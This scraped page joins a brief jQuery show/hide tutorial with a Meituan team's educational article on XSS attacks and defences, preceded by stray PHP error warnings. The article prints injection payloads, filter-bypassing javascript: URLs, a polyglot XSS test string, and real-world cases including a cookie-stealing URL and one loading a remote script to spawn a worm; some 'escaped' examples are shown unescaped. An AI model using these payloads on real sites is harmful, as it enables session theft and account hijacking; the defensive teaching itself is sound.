Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
html頁面,顯示的內(nèi)容太多,會影響用戶體驗(yàn),如果有一些,點(diǎn)擊才出現(xiàn)的內(nèi)容,就可以減少內(nèi)容的干擾。使用jquery就可以很快的實(shí)現(xiàn)。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>div隱藏測試</title> <script src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.8.0.js"> </script> </head> <body> <button id="controller">隱藏或者顯示</button> <div id="contents" style="display: none;"> <p>div的內(nèi)容</p> </div> <script> $("#controller").click(function () { if ($("#contents").is(":hidden")) { $("#contents").show() } else { $("#contents").hide() } }) </script> </body> </html>
$("#contents").is(":hidden") 可以判斷是否是隱藏
$("#contents").show() 表示display:block,
$("#contents").hide() 表示display:none;
操作元素的屬性
$("#contents").attr("style","display:none;"); //隱藏div
$("#contents").attr("style","display:block;"); //顯示div
也可以操作css屬性
$("#contents").css("display","none"); //隱藏div
$("#contents").css("display","block"); //顯示div
也可以直接使用toggle轉(zhuǎn)換開關(guān)實(shí)現(xiàn)
$("#contents").toggle()
、HTML 塊元素
二、HTML 內(nèi)聯(lián)元素
三、HTML <div> 元素
四、div的使用
<!doctype html> <html> <head> <meta charset="utf-8"> <title>無標(biāo)題文檔</title> </head> <style> .all{ width:500px; height:500px; margin:0 auto; background-color:#000; } .one{ height:100px; background-color:#89E1BF; } .two{ height:100px; background-color:#DEE099; } .three{ height:100px; background-color:#D7A1CE; } </style> <body> <!--父div,all是黑色--> <div class="all"> <!--子div,one是綠色--> <div class="one"> </div> <!--子divtwo,是黃色--> <div class="two"> </div> <!--子div,three是紫色--> <div class="three"> </div> </div> </body> </html>
演示效果如圖所示:
當(dāng)當(dāng)當(dāng),我是美團(tuán)技術(shù)團(tuán)隊(duì)的程序員鼓勵師美美~“基本功”專欄又來新文章了,這次是一個系列,一起來學(xué)習(xí)前端安全的那些事。我們將不斷梳理常見的前端安全問題以及對應(yīng)的解決方案,希望可以幫助前端同學(xué)在日常開發(fā)中不斷預(yù)防和修復(fù)安全漏洞,Enjoy Reading!
背景
隨著互聯(lián)網(wǎng)的高速發(fā)展,信息安全問題已經(jīng)成為企業(yè)最為關(guān)注的焦點(diǎn)之一,而前端又是引發(fā)企業(yè)安全問題的高危據(jù)點(diǎn)。在移動互聯(lián)網(wǎng)時代,前端人員除了傳統(tǒng)的 XSS、CSRF 等安全問題之外,又時常遭遇網(wǎng)絡(luò)劫持、非法調(diào)用 Hybrid API 等新型安全問題。當(dāng)然,瀏覽器自身也在不斷在進(jìn)化和發(fā)展,不斷引入 CSP、Same-Site Cookies 等新技術(shù)來增強(qiáng)安全性,但是仍存在很多潛在的威脅,這需要前端技術(shù)人員不斷進(jìn)行“查漏補(bǔ)缺”。
前端安全
近幾年,美團(tuán)業(yè)務(wù)高速發(fā)展,前端隨之面臨很多安全挑戰(zhàn),因此積累了大量的實(shí)踐經(jīng)驗(yàn)。我們梳理了常見的前端安全問題以及對應(yīng)的解決方案,將會做成一個系列,希望可以幫助前端同學(xué)在日常開發(fā)中不斷預(yù)防和修復(fù)安全漏洞。本文是該系列的第一篇。
今天我們講解一下 XSS ,主要包括:
XSS攻擊的介紹
在開始本文之前,我們先提出一個問題,請判斷以下兩個說法是否正確:
如果你還不能確定答案,那么可以帶著這些問題向下看,我們將逐步拆解問題。
XSS 漏洞的發(fā)生和修復(fù)
XSS 攻擊是頁面被注入了惡意的代碼,為了更形象的介紹,我們用發(fā)生在小明同學(xué)身邊的事例來進(jìn)行說明。
一個案例
某天,公司需要一個搜索頁面,根據(jù) URL 參數(shù)決定關(guān)鍵詞的內(nèi)容。小明很快把頁面寫好并且上線。代碼如下:
<input type="text" value="<%=getParameter("keyword") %>"> <button>搜索</button> <div> 您搜索的關(guān)鍵詞是:<%=getParameter("keyword") %> </div>
然而,在上線后不久,小明就接到了安全組發(fā)來的一個神秘鏈接:
http://xxx/search?keyword="><script>alert('XSS');</script>
小明帶著一種不祥的預(yù)感點(diǎn)開了這個鏈接[請勿模仿,確認(rèn)安全的鏈接才能點(diǎn)開]。果然,頁面中彈出了寫著"XSS"的對話框。
可惡,中招了!小明眉頭一皺,發(fā)現(xiàn)了其中的奧秘:
當(dāng)瀏覽器請求 http://xxx/search?keyword="><script>alert('XSS');</script> 時,服務(wù)端會解析出請求參數(shù) keyword,得到 "><script>alert('XSS');</script>,拼接到 HTML 中返回給瀏覽器。形成了如下的 HTML:
<input type="text" value=""><script>alert('XSS');</script>"> <button>搜索</button> <div> 您搜索的關(guān)鍵詞是:"><script>alert('XSS');</script> </div>
瀏覽器無法分辨出 <script>alert('XSS');</script> 是惡意代碼,因而將其執(zhí)行。
這里不僅僅 div 的內(nèi)容被注入了,而且 input 的 value 屬性也被注入, alert 會彈出兩次。
面對這種情況,我們應(yīng)該如何進(jìn)行防范呢?
其實(shí),這只是瀏覽器把用戶的輸入當(dāng)成了腳本進(jìn)行了執(zhí)行。那么只要告訴瀏覽器這段內(nèi)容是文本就可以了。
聰明的小明很快找到解決方法,把這個漏洞修復(fù):
<input type="text" value="<%=escapeHTML(getParameter("keyword")) %>"> <button>搜索</button> <div> 您搜索的關(guān)鍵詞是:<%=escapeHTML(getParameter("keyword")) %> </div>
escapeHTML() 按照如下規(guī)則進(jìn)行轉(zhuǎn)義:
經(jīng)過了轉(zhuǎn)義函數(shù)的處理后,最終瀏覽器接收到的響應(yīng)為:
<input type="text" value=""><script>alert('XSS');</script>"> <button>搜索</button> <div> 您搜索的關(guān)鍵詞是:"><script>alert('XSS');</script> </div>
惡意代碼都被轉(zhuǎn)義,不再被瀏覽器執(zhí)行,而且搜索詞能夠完美的在頁面顯示出來。
通過這個事件,小明學(xué)習(xí)到了如下知識:
注意特殊的 HTML 屬性、JavaScript API
自從上次事件之后,小明會小心的把插入到頁面中的數(shù)據(jù)進(jìn)行轉(zhuǎn)義。而且他還發(fā)現(xiàn)了大部分模板都帶有的轉(zhuǎn)義配置,讓所有插入到頁面中的數(shù)據(jù)都默認(rèn)進(jìn)行轉(zhuǎn)義。這樣就不怕不小心漏掉未轉(zhuǎn)義的變量啦,于是小明的工作又漸漸變得輕松起來。
但是,作為導(dǎo)演的我,不可能讓小明這么簡單、開心地改 Bug 。
不久,小明又收到安全組的神秘鏈接:http://xxx/?redirect_to=javascript:alert('XSS')。小明不敢大意,趕忙點(diǎn)開頁面。然而,頁面并沒有自動彈出萬惡的“XSS”。
小明打開對應(yīng)頁面的源碼,發(fā)現(xiàn)有以下內(nèi)容:
<a href="<%=escapeHTML(getParameter("redirect_to")) %>">跳轉(zhuǎn)...</a>
這段代碼,當(dāng)攻擊 URL 為 http://xxx/?redirect_to=javascript:alert('XSS'),服務(wù)端響應(yīng)就成了:
<a href="javascript:alert('XSS')">跳轉(zhuǎn)...</a>
雖然代碼不會立即執(zhí)行,但一旦用戶點(diǎn)擊 a 標(biāo)簽時,瀏覽器會就會彈出alert('xss')。
可惡,又失策了…
在這里,用戶的數(shù)據(jù)并沒有在位置上突破我們的限制,仍然是正確的 href 屬性。但其內(nèi)容并不是我們所預(yù)期的類型。
原來不僅僅是特殊字符,連 javascript: 這樣的字符串如果出現(xiàn)在特定的位置也會引發(fā) XSS 攻擊。
小明眉頭一皺,想到了解決辦法:
// 禁止 URL 以 "javascript:" 開頭 xss=getParameter("redirect_to").startsWith('javascript:'); if (!xss) { <a href="<%=escapeHTML(getParameter("redirect_to"))%>"> 跳轉(zhuǎn)... </a> } else { <a href="/404"> 跳轉(zhuǎn)... </a> }
只要 URL 的開頭不是 javascript:,就安全了吧?
安全組隨手又扔了一個連接:http://xxx/?redirect_to=jAvascRipt:alert('XSS')
這也能執(zhí)行?…..好吧,瀏覽器就是這么強(qiáng)大。
小明欲哭無淚,在判斷 URL 開頭是否為 javascript: 時,先把用戶輸入轉(zhuǎn)成了小寫,然后再進(jìn)行比對。
不過,所謂“道高一尺,魔高一丈”。面對小明的防護(hù)策略,安全組就構(gòu)造了這樣一個連接:
http://xxx/?redirect_to=%20javascript:alert('XSS')
%20javascript:alert('XSS') 經(jīng)過 URL 解析后變成 javascript:alert('XSS'),這個字符串以空格開頭。這樣攻擊者可以繞過后端的關(guān)鍵詞規(guī)則,又成功的完成了注入。
最終,小明選擇了白名單的方法,徹底解決了這個漏洞:
// 根據(jù)項(xiàng)目情況進(jìn)行過濾,禁止掉 "javascript:" 鏈接、非法 scheme 等 allowSchemes=["http", "https"]; valid=isValid(getParameter("redirect_to"), allowSchemes); if (valid) { <a href="<%=escapeHTML(getParameter("redirect_to"))%>"> 跳轉(zhuǎn)... </a> } else { <a href="/404"> 跳轉(zhuǎn)... </a> }
通過這個事件,小明學(xué)習(xí)到了如下知識:
根據(jù)上下文采用不同的轉(zhuǎn)義規(guī)則
某天,小明為了加快網(wǎng)頁的加載速度,把一個數(shù)據(jù)通過 JSON 的方式內(nèi)聯(lián)到 HTML 中:
<script> var initData=<%=data.toJSON() %> </script>
插入 JSON 的地方不能使用 escapeHTML(),因?yàn)檗D(zhuǎn)義 " 后,JSON 格式會被破壞。
但安全組又發(fā)現(xiàn)有漏洞,原來這樣內(nèi)聯(lián) JSON 也是不安全的:
于是我們又要實(shí)現(xiàn)一個 escapeEmbedJSON() 函數(shù),對內(nèi)聯(lián) JSON 進(jìn)行轉(zhuǎn)義。轉(zhuǎn)義規(guī)則如下:
修復(fù)后的代碼如下:
<script> var initData=<%=escapeEmbedJSON(data.toJSON()) %>
通過這個事件,小明學(xué)習(xí)到了如下知識:
漏洞總結(jié)
小明的例子講完了,下面我們來系統(tǒng)的看下 XSS 有哪些注入的方法:
總之,如果開發(fā)者沒有將用戶輸入的文本進(jìn)行合適的過濾,就貿(mào)然插入到 HTML 中,這很容易造成注入漏洞。攻擊者可以利用漏洞,構(gòu)造出惡意的代碼指令,進(jìn)而利用惡意代碼危害數(shù)據(jù)安全。
XSS攻擊的分類
通過上述幾個例子,我們已經(jīng)對 XSS 有了一些認(rèn)識。
什么是 XSS
Cross-Site Scripting(跨站腳本攻擊)簡稱 XSS,是一種代碼注入攻擊。攻擊者通過在目標(biāo)網(wǎng)站上注入惡意腳本,使之在用戶的瀏覽器上運(yùn)行。利用這些惡意腳本,攻擊者可獲取用戶的敏感信息如 Cookie、SessionID 等,進(jìn)而危害數(shù)據(jù)安全。
為了和 CSS 區(qū)分,這里把攻擊的第一個字母改成了 X,于是叫做 XSS。
XSS 的本質(zhì)是:惡意代碼未經(jīng)過濾,與網(wǎng)站正常的代碼混在一起;瀏覽器無法分辨哪些腳本是可信的,導(dǎo)致惡意腳本被執(zhí)行。
而由于直接在用戶的終端執(zhí)行,惡意代碼能夠直接獲取用戶的信息,或者利用這些信息冒充用戶向網(wǎng)站發(fā)起攻擊者定義的請求。
在部分情況下,由于輸入的限制,注入的惡意腳本比較短。但可以通過引入外部的腳本,并由瀏覽器執(zhí)行,來完成比較復(fù)雜的攻擊策略。
這里有一個問題:用戶是通過哪種方法“注入”惡意腳本的呢?
不僅僅是業(yè)務(wù)上的“用戶的 UGC 內(nèi)容”可以進(jìn)行注入,包括 URL 上的參數(shù)等都可以是攻擊的來源。在處理輸入時,以下內(nèi)容都不可信:
XSS 分類
根據(jù)攻擊的來源,XSS 攻擊可分為存儲型、反射型和 DOM 型三種。
存儲型 XSS
存儲型 XSS 的攻擊步驟:
這種攻擊常見于帶有用戶保存數(shù)據(jù)的網(wǎng)站功能,如論壇發(fā)帖、商品評論、用戶私信等。
反射型 XSS
反射型 XSS 的攻擊步驟:
反射型 XSS 跟存儲型 XSS 的區(qū)別是:存儲型 XSS 的惡意代碼存在數(shù)據(jù)庫里,反射型 XSS 的惡意代碼存在 URL 里。
反射型 XSS 漏洞常見于通過 URL 傳遞參數(shù)的功能,如網(wǎng)站搜索、跳轉(zhuǎn)等。
由于需要用戶主動打開惡意的 URL 才能生效,攻擊者往往會結(jié)合多種手段誘導(dǎo)用戶點(diǎn)擊。
POST 的內(nèi)容也可以觸發(fā)反射型 XSS,只不過其觸發(fā)條件比較苛刻(需要構(gòu)造表單提交頁面,并引導(dǎo)用戶點(diǎn)擊),所以非常少見。
DOM 型 XSS
DOM 型 XSS 的攻擊步驟:
DOM 型 XSS 跟前兩種 XSS 的區(qū)別:DOM 型 XSS 攻擊中,取出和執(zhí)行惡意代碼由瀏覽器端完成,屬于前端 JavaScript 自身的安全漏洞,而其他兩種 XSS 都屬于服務(wù)端的安全漏洞。
XSS攻擊的預(yù)防
通過前面的介紹可以得知,XSS 攻擊有兩大要素:
針對第一個要素:我們是否能夠在用戶輸入的過程,過濾掉用戶輸入的惡意代碼呢?
輸入過濾
在用戶提交時,由前端過濾輸入,然后提交到后端。這樣做是否可行呢?
答案是不可行。一旦攻擊者繞過前端過濾,直接構(gòu)造請求,就可以提交惡意代碼了。
那么,換一個過濾時機(jī):后端在寫入數(shù)據(jù)庫前,對輸入進(jìn)行過濾,然后把“安全的”內(nèi)容,返回給前端。這樣是否可行呢?
我們舉一個例子,一個正常的用戶輸入了 5 < 7 這個內(nèi)容,在寫入數(shù)據(jù)庫前,被轉(zhuǎn)義,變成了 5 < 7。
問題是:在提交階段,我們并不確定內(nèi)容要輸出到哪里。
這里的“并不確定內(nèi)容要輸出到哪里”有兩層含義:
所以,輸入側(cè)過濾能夠在某些情況下解決特定的 XSS 問題,但會引入很大的不確定性和亂碼問題。在防范 XSS 攻擊時應(yīng)避免此類方法。
當(dāng)然,對于明確的輸入類型,例如數(shù)字、URL、電話號碼、郵件地址等等內(nèi)容,進(jìn)行輸入過濾還是必要的。
既然輸入過濾并非完全可靠,我們就要通過“防止瀏覽器執(zhí)行惡意代碼”來防范 XSS。這部分分為兩類:
預(yù)防存儲型和反射型 XSS 攻擊
存儲型和反射型 XSS 都是在服務(wù)端取出惡意代碼后,插入到響應(yīng) HTML 里的,攻擊者刻意編寫的“數(shù)據(jù)”被內(nèi)嵌到“代碼”中,被瀏覽器所執(zhí)行。
預(yù)防這兩種漏洞,有兩種常見做法:
純前端渲染
純前端渲染的過程:
在純前端渲染中,我們會明確的告訴瀏覽器:下面要設(shè)置的內(nèi)容是文本(.innerText),還是屬性(.setAttribute),還是樣式(.style)等等。瀏覽器不會被輕易的被欺騙,執(zhí)行預(yù)期外的代碼了。
但純前端渲染還需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,請參考下文”預(yù)防 DOM 型 XSS 攻擊“部分)。
在很多內(nèi)部、管理系統(tǒng)中,采用純前端渲染是非常合適的。但對于性能要求高,或有 SEO 需求的頁面,我們?nèi)匀灰鎸ζ唇?HTML 的問題。
轉(zhuǎn)義 HTML
如果拼接 HTML 是必要的,就需要采用合適的轉(zhuǎn)義庫,對 HTML 模板各處插入點(diǎn)進(jìn)行充分的轉(zhuǎn)義。
常用的模板引擎,如 doT.js、ejs、FreeMarker 等,對于 HTML 轉(zhuǎn)義通常只有一個規(guī)則,就是把 & < > " ' / 這幾個字符轉(zhuǎn)義掉,確實(shí)能起到一定的 XSS 防護(hù)作用,但并不完善:
所以要完善 XSS 防護(hù)措施,我們要使用更完善更細(xì)致的轉(zhuǎn)義策略。
例如 Java 工程里,常用的轉(zhuǎn)義庫為 org.owasp.encoder。以下代碼引用自 org.owasp.encoder 的官方說明。
<!-- HTML 標(biāo)簽內(nèi)文字內(nèi)容 --> <div><%=Encode.forHtml(UNTRUSTED) %></div> <!-- HTML 標(biāo)簽屬性值 --> <input value="<%=Encode.forHtml(UNTRUSTED) %>" /> <!-- CSS 屬性值 --> <div style="width:<=Encode.forCssString(UNTRUSTED) %>"> <!-- CSS URL --> <div style="background:<=Encode.forCssUrl(UNTRUSTED) %>"> <!-- JavaScript 內(nèi)聯(lián)代碼塊 --> <script> var msg="<%=Encode.forJavaScript(UNTRUSTED) %>"; alert(msg); </script> <!-- JavaScript 內(nèi)聯(lián)代碼塊內(nèi)嵌 JSON --> <script> var __INITIAL_STATE__=JSON.parse('<%=Encoder.forJavaScript(data.to_json) %>'); </script> <!-- HTML 標(biāo)簽內(nèi)聯(lián)監(jiān)聽器 --> <button onclick="alert('<%=Encode.forJavaScript(UNTRUSTED) %>');"> click me </button> <!-- URL 參數(shù) --> <a href="/search?value=<%=Encode.forUriComponent(UNTRUSTED) %>&order=1#top"> <!-- URL 路徑 --> <a href="/page/<%=Encode.forUriComponent(UNTRUSTED) %>"> <!-- URL. 注意:要根據(jù)項(xiàng)目情況進(jìn)行過濾,禁止掉 "javascript:" 鏈接、非法 scheme 等 --> <a href='<%=urlValidator.isValid(UNTRUSTED) ? Encode.forHtml(UNTRUSTED) : "/404" %>'> link </a>
可見,HTML 的編碼是十分復(fù)雜的,在不同的上下文里要使用相應(yīng)的轉(zhuǎn)義規(guī)則。
預(yù)防 DOM 型 XSS 攻擊
DOM 型 XSS 攻擊,實(shí)際上就是網(wǎng)站前端 JavaScript 代碼本身不夠嚴(yán)謹(jǐn),把不可信的數(shù)據(jù)當(dāng)作代碼執(zhí)行了。
在使用 .innerHTML、.outerHTML、document.write() 時要特別小心,不要把不可信的數(shù)據(jù)作為 HTML 插到頁面上,而應(yīng)盡量使用 .textContent、.setAttribute() 等。
如果用 Vue/React 技術(shù)棧,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 階段避免 innerHTML、outerHTML 的 XSS 隱患。
DOM 中的內(nèi)聯(lián)事件監(jiān)聽器,如 location、onclick、onerror、onload、onmouseover 等,<a> 標(biāo)簽的 href 屬性,JavaScript 的 eval()、setTimeout()、setInterval() 等,都能把字符串作為代碼運(yùn)行。如果不可信的數(shù)據(jù)拼接到字符串中傳遞給這些 API,很容易產(chǎn)生安全隱患,請務(wù)必避免。
<!-- 內(nèi)聯(lián)事件監(jiān)聽器中包含惡意代碼 --> <img onclick="UNTRUSTED" onerror="UNTRUSTED" src="data:image/png,"> <!-- 鏈接內(nèi)包含惡意代碼 --> <a href="UNTRUSTED">1</a> <script> // setTimeout()/setInterval() 中調(diào)用惡意代碼 setTimeout("UNTRUSTED") setInterval("UNTRUSTED") // location 調(diào)用惡意代碼 location.href='UNTRUSTED' // eval() 中調(diào)用惡意代碼 eval("UNTRUSTED") </script>
如果項(xiàng)目中有用到這些的話,一定要避免在字符串中拼接不可信數(shù)據(jù)。
其他XSS防范措施
雖然在渲染頁面和執(zhí)行 JavaScript 時,通過謹(jǐn)慎的轉(zhuǎn)義可以防止 XSS 的發(fā)生,但完全依靠開發(fā)的謹(jǐn)慎仍然是不夠的。以下介紹一些通用的方案,可以降低 XSS 帶來的風(fēng)險和后果。
Content Security Policy
嚴(yán)格的 CSP 在 XSS 的防范中可以起到以下的作用:
關(guān)于 CSP 的詳情,請關(guān)注前端安全系列后續(xù)的文章。
輸入內(nèi)容長度控制
對于不受信任的輸入,都應(yīng)該限定一個合理的長度。雖然無法完全防止 XSS 發(fā)生,但可以增加 XSS 攻擊的難度。
其他安全措施
XSS的檢測
上述經(jīng)歷讓小明收獲頗豐,他也學(xué)會了如何去預(yù)防和修復(fù) XSS 漏洞,在日常開發(fā)中也具備了相關(guān)的安全意識。但對于已經(jīng)上線的代碼,如何去檢測其中有沒有 XSS 漏洞呢?
經(jīng)過一番搜索,小明找到了兩個方法:
在Unleashing an Ultimate XSS Polyglot一文中,小明發(fā)現(xiàn)了這么一個字符串:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
它能夠檢測到存在于 HTML 屬性、HTML 文字內(nèi)容、HTML 注釋、跳轉(zhuǎn)鏈接、內(nèi)聯(lián) JavaScript 字符串、內(nèi)聯(lián) CSS 樣式表等多種上下文中的 XSS 漏洞,也能檢測 eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write() 等 DOM 型 XSS 漏洞,并且能繞過一些 XSS 過濾器。
小明只要在網(wǎng)站的各輸入框中提交這個字符串,或者把它拼接到 URL 參數(shù)上,就可以進(jìn)行檢測了。
http://xxx/search?keyword=jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E
除了手動檢測之外,還可以使用自動掃描工具尋找 XSS 漏洞,例如 Arachni、Mozilla HTTP Observatory、w3af 等。
XSS攻擊的總結(jié)
我們回到最開始提出的問題,相信同學(xué)們已經(jīng)有了答案:
1. XSS 防范是后端 RD 的責(zé)任,后端 RD 應(yīng)該在所有用戶提交數(shù)據(jù)的接口,對敏感字符進(jìn)行轉(zhuǎn)義,才能進(jìn)行下一步操作。
不正確。因?yàn)椋悍婪洞鎯π秃头瓷湫?XSS 是后端 RD 的責(zé)任。而 DOM 型 XSS 攻擊不發(fā)生在后端,是前端 RD 的責(zé)任。防范 XSS 是需要后端 RD 和前端 RD 共同參與的系統(tǒng)工程。轉(zhuǎn)義應(yīng)該在輸出 HTML 時進(jìn)行,而不是在提交用戶輸入時。
2. 所有要插入到頁面上的數(shù)據(jù),都要通過一個敏感字符過濾函數(shù)的轉(zhuǎn)義,過濾掉通用的敏感字符后,就可以插入到頁面了。
不正確。不同的上下文,如 HTML 屬性、HTML 文字內(nèi)容、HTML 注釋、跳轉(zhuǎn)鏈接、內(nèi)聯(lián) JavaScript 字符串、內(nèi)聯(lián) CSS 樣式表等,所需要的轉(zhuǎn)義規(guī)則不一致。業(yè)務(wù) RD 需要選取合適的轉(zhuǎn)義庫,并針對不同的上下文調(diào)用不同的轉(zhuǎn)義規(guī)則。
整體的 XSS 防范是非常復(fù)雜和繁瑣的,我們不僅需要在全部需要轉(zhuǎn)義的位置,對數(shù)據(jù)進(jìn)行對應(yīng)的轉(zhuǎn)義。而且要防止多余和錯誤的轉(zhuǎn)義,避免正常的用戶輸入出現(xiàn)亂碼。
雖然很難通過技術(shù)手段完全避免 XSS,但我們可以總結(jié)以下原則減少漏洞的產(chǎn)生:
XSS攻擊案例
QQ 郵箱 m.exmail.qq.com 域名反射型 XSS 漏洞
攻擊者發(fā)現(xiàn) http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 這個 URL 的參數(shù) uin、domain 未經(jīng)轉(zhuǎn)義直接輸出到 HTML 中。
于是攻擊者構(gòu)建出一個 URL,并引導(dǎo)用戶去點(diǎn)擊:
http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B
用戶點(diǎn)擊這個 URL 時,服務(wù)端取出 URL 參數(shù),拼接到 HTML 響應(yīng)中:
<script> getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;</script><script>alert(document.cookie)</script>"+"...
瀏覽器接收到響應(yīng)后就會執(zhí)行 alert(document.cookie),攻擊者通過 JavaScript 即可竊取當(dāng)前用戶在 QQ 郵箱域名下的 Cookie ,進(jìn)而危害數(shù)據(jù)安全。
新浪微博名人堂反射型 XSS 漏洞
攻擊者發(fā)現(xiàn) http://weibo.com/pub/star/g/xyyyd 這個 URL 的內(nèi)容未經(jīng)過濾直接輸出到 HTML 中。
于是攻擊者構(gòu)建出一個 URL,然后誘導(dǎo)用戶去點(diǎn)擊:
http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>
用戶點(diǎn)擊這個 URL 時,服務(wù)端取出請求 URL,拼接到 HTML 響應(yīng)中:
<li><a ><script src=//xxxx.cn/image/t.js></script>">按分類檢索</a></li>
瀏覽器接收到響應(yīng)后就會加載執(zhí)行惡意腳本 //xxxx.cn/image/t.js,在惡意腳本中利用用戶的登錄狀態(tài)進(jìn)行關(guān)注、發(fā)微博、發(fā)私信等操作,發(fā)出的微博和私信可再帶上攻擊 URL,誘導(dǎo)更多人點(diǎn)擊,不斷放大攻擊范圍。這種竊用受害者身份發(fā)布惡意內(nèi)容,層層放大攻擊范圍的方式,被稱為“XSS 蠕蟲”。
XSS攻擊擴(kuò)展閱讀:Automatic Context-Aware Escaping
上文我們說到:
通常,轉(zhuǎn)義庫是不能判斷插入點(diǎn)上下文的(Not Context-Aware),實(shí)施轉(zhuǎn)義規(guī)則的責(zé)任就落到了業(yè)務(wù) RD 身上,需要每個業(yè)務(wù) RD 都充分理解 XSS 的各種情況,并且需要保證每一個插入點(diǎn)使用了正確的轉(zhuǎn)義規(guī)則。
這種機(jī)制工作量大,全靠人工保證,很容易造成 XSS 漏洞,安全人員也很難發(fā)現(xiàn)隱患。
2009年,Google 提出了一個概念叫做:Automatic Context-Aware Escaping。
所謂 Context-Aware,就是說模板引擎在解析模板字符串的時候,就解析模板語法,分析出每個插入點(diǎn)所處的上下文,據(jù)此自動選用不同的轉(zhuǎn)義規(guī)則。這樣就減輕了業(yè)務(wù) RD 的工作負(fù)擔(dān),也減少了人為帶來的疏漏。
在一個支持 Automatic Context-Aware Escaping 的模板引擎里,業(yè)務(wù) RD 可以這樣定義模板,而無需手動實(shí)施轉(zhuǎn)義規(guī)則:
<html> <head> <meta charset="UTF-8"> <title>{{.title}}</title> </head> <body> <a href="{{.url}}">{{.content}}</a> </body> </html>
模板引擎經(jīng)過解析后,得知三個插入點(diǎn)所處的上下文,自動選用相應(yīng)的轉(zhuǎn)義規(guī)則:
<html> <head> <meta charset="UTF-8"> <title>{{.title | htmlescaper}}</title> </head> <body> <a href="{{.url | urlescaper | attrescaper}}">{{.content | htmlescaper}}</a> </body> </html>
目前已經(jīng)支持 Automatic Context-Aware Escaping 的模板引擎有:
課后作業(yè):XSS攻擊小游戲
以下是幾個 XSS 攻擊小游戲,開發(fā)者在網(wǎng)站上故意留下了一些常見的 XSS 漏洞。玩家在網(wǎng)頁上提交相應(yīng)的輸入,完成 XSS 攻擊即可通關(guān)。
在玩游戲的過程中,請各位讀者仔細(xì)思考和回顧本文內(nèi)容,加深對 XSS 攻擊的理解。
alert(1) to win
prompt(1) to win
XSS game
參考文獻(xiàn)
下期預(yù)告
前端安全系列文章將對 XSS、CSRF、網(wǎng)絡(luò)劫持、Hybrid 安全等安全議題展開論述。下期我們要討論的是 CSRF 攻擊,敬請期待。
作者介紹
李陽,美團(tuán)點(diǎn)評前端工程師。2016年加入美團(tuán)點(diǎn)評,負(fù)責(zé)美團(tuán)外賣 Hybrid 頁面性能優(yōu)化相關(guān)工作。
歡迎加入美團(tuán)前端安全技術(shù)交流群,跟作者零距離交流。請加美美同學(xué)的微信(微信號:MTDPtech01),回復(fù):前端安全,美美會自動拉你進(jìn)群。
*請認(rèn)真填寫需求信息,我們會在24小時內(nèi)與您取得聯(lián)系。